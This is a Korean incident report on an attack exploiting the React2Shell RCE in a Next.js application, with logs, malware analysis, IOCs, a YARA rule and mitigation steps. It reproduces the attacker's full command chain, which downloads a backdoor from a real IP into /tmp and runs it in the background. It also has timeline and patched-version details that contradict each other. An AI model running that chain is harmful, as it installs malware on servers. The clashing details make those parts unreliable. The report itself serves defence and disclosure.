
CVE-2025-55182 (React2Shell) 실제 공격 분석 - React Server Components RCE 취약점
프로덕션 Next.js 애플리케이션에 대한 실제 공격 분석
2025년 12월 5일, 저희 프로덕션 Next.js 애플리케이션이 React Server Components의 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-55182(React2Shell)를 악용한 공격자의 표적이 되었습니다. 이 공격은 서버에서 Linux 백도어 트로이 목마를 다운로드하여 실행하려고 시도했습니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS 점수 | 9.8 (치명적) |
| 공격 날짜 | 2025년 12월 5일 |
| 공격 결과 | ✅ 차단됨(패치 이후) |
| 악성코드 유형 | Linux 백도어 트로이 목마 |
| 영향받은 스택 | Next.js + React Server Components |
CVE-2025-55182(일명 "React2Shell")는 React Server Components(RSC)에 영향을 주는 치명적인 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 React의 Flight Server 내 renderToReadableStream() 함수에 존재합니다. 특수하게 조작된 RSC 페이로드를 처리할 때 서버가 특정 입력을 제대로 삭제(샌드나이즈)하지 못하여 임의 코드 실행으로 이어집니다.
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
공격자는 악성 직렬화 페이로드가 포함된 조작된 POST 요청을 보내며, 이 페이로드는 서버에서 역직렬화되어 실행됩니다.
| 타임스탬프(UTC) | 이벤트 |
|---|---|
| Dec 5, 06:20 | Sentry를 통해 첫 번째 공격 감지 |
| Dec 5, 06:20 | 페이로드가 셸 명령 실행 시도 |
| Dec 5, 06:20 | 공격 부분 성공(패치 이전) |
Sentry 오류 로그(패치 이전):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| 타임스탬프 | 조치 |
|---|---|
| Dec 4, 14:13 | Next.js 16.0.7로 업그레이드 |
| Dec 4, 14:13 | 패치된 버전(v1.0.0-beta-4) 배포 |
| 타임스탬프(UTC) | 이벤트 |
|---|---|
| Dec 5, 08:48 | 공격 시도 감지 |
| Dec 5, 08:48 | 페이로드 실행 차단됨 |
| Dec 5, 08:48 | 오류: syntax error: unexpected ";" |
Sentry 오류 로그(패치 이후):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
패치는 악성 명령이 실행되는 것을 성공적으로 차단했습니다.
| 속성 | 값 |
|---|---|
| 대상 URL | https://[REDACTED]/ |
| 메서드 | POST |
| 사용자 에이전트 | Python Requests 2.31 |
| 출처 | 자동화된 공격 스크립트 |
공격자는 다음 명령 체인을 실행하려고 시도했습니다:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
단계별 설명:
| 단계 | 명령 | 목적 |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | 악성코드 다운로드 |
| 2 | chmod +x /tmp/vim | 실행 권한 부여 |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | 백그라운드에서 실행, 로그아웃 후에도 유지 |
| 4 | rm -f /tmp/vim | 증거 삭제 |
| 구성 요소 | 버전 |
|---|---|
| 운영체제 | Alpine Linux 3.23.0 |
| 런타임 | Node.js v20.19.6 |
| 프레임워크 | Next.js 16.0.7(패치됨) |
| 컨테이너 | Docker |
| 속성 | 값 |
|---|---|
| 파일 이름 | vim (정상 도구로 위장) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| 파일 유형 | ELF 64비트 LSB 실행 파일, x86-64 |
| 언어 | Go (컴파일된 바이너리) |
| 파일 크기 | 약 4.7MB |
탐지율: 13/72 (18%)
| 공급업체 | 탐지 명 |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
VirusTotal 링크: 분석 보기
ELF 헤더:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
식별된 기능:
| 기능 | 근거 |
|---|---|
| HTTP/HTTPS 클라이언트 | net/http, *http.Client |
| TLS 암호화 | crypto/tls, crypto/aes |
| SOCKS5 프록시 | socks, socks5 |
| DNS 확인 | net/dns/dnsmessage |
| 강력한 암호화 | chacha20poly1305, Ed25519 |
추출된 문자열(관련 항목):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| 심각도 | 규칙 | 소스 |
|---|---|---|
| 낮음 | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| 낮음 | ET DNS Query for .cc TLD | Proofpoint ET Open |
유형: Linux 백도어 트로이 목마
기능:
| 유형 | 값 | 설명 |
|---|---|---|
| IP 주소 | 45.76.155.14 | 악성코드 배포 서버 |
| URL | http://45.76.155.14/vim | 악성코드 다운로드 URL |
| 호스팅 | Vultr VPS | 클라우드 제공업체 |
| TLD | .cc | C2 도메인이 .cc TLD 사용 |
| 유형 | 값 |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Calculate if needed] |
| MD5 | [Calculate if needed] |
| 파일 이름 | vim (위장됨) |
| 파일 유형 | ELF 64비트 x86-64 |
| 파일 크기 | 약 4.7MB |
| 지표 | 설명 |
|---|---|
외부 IP로 wget | 비표준 URL에서 다운로드 |
/tmp/의 파일 | 임시 디렉토리의 의심스러운 실행 파일 |
nohup + 백그라운드 실행 | 지속성 시도 |
| 즉시 파일 삭제 | 증거 정리 |
| Python Requests 사용자 에이전트 | 자동화된 공격 도구 |
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
| 조치 | 상태 | 세부 사항 |
|---|---|---|
| ✅ Next.js 업그레이드 | 완료 | 16.0.4 → 16.0.7 |
| ✅ React 업그레이드 | 완료 | 19.1.0 → 19.2.1(패치됨) |
| ✅ 애플리케이션 재배포 | 완료 | Docker 재빌드 |
| ✅ 악성코드 분석 | 완료 | VirusTotal 제출 |
| ✅ 호스팅에 신고 | 완료 | Vultr 악용 신고 전송 |
| ⏳ 자격 증명 교체 | 대기 중 | 데이터베이스, JWT, API 키 |
2025년 12월 5일에 C2 서버의 호스팅 제공업체인 Vultr에 다음 내용이 포함된 악용 신고가 제출되었습니다:
| 패키지 | 취약한 버전 | 패치 버전 |
|---|---|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (2025년 6월 이상) |
1. 즉시 업그레이드하십시오:
# For Next.js 16.x
npm install [email protected] [email protected] [email protected]
# For Next.js 15.x
npm install [email protected] [email protected] [email protected]
2. 악성 IP 차단:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. IOC 모니터링:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. 모든 시크릿 교체: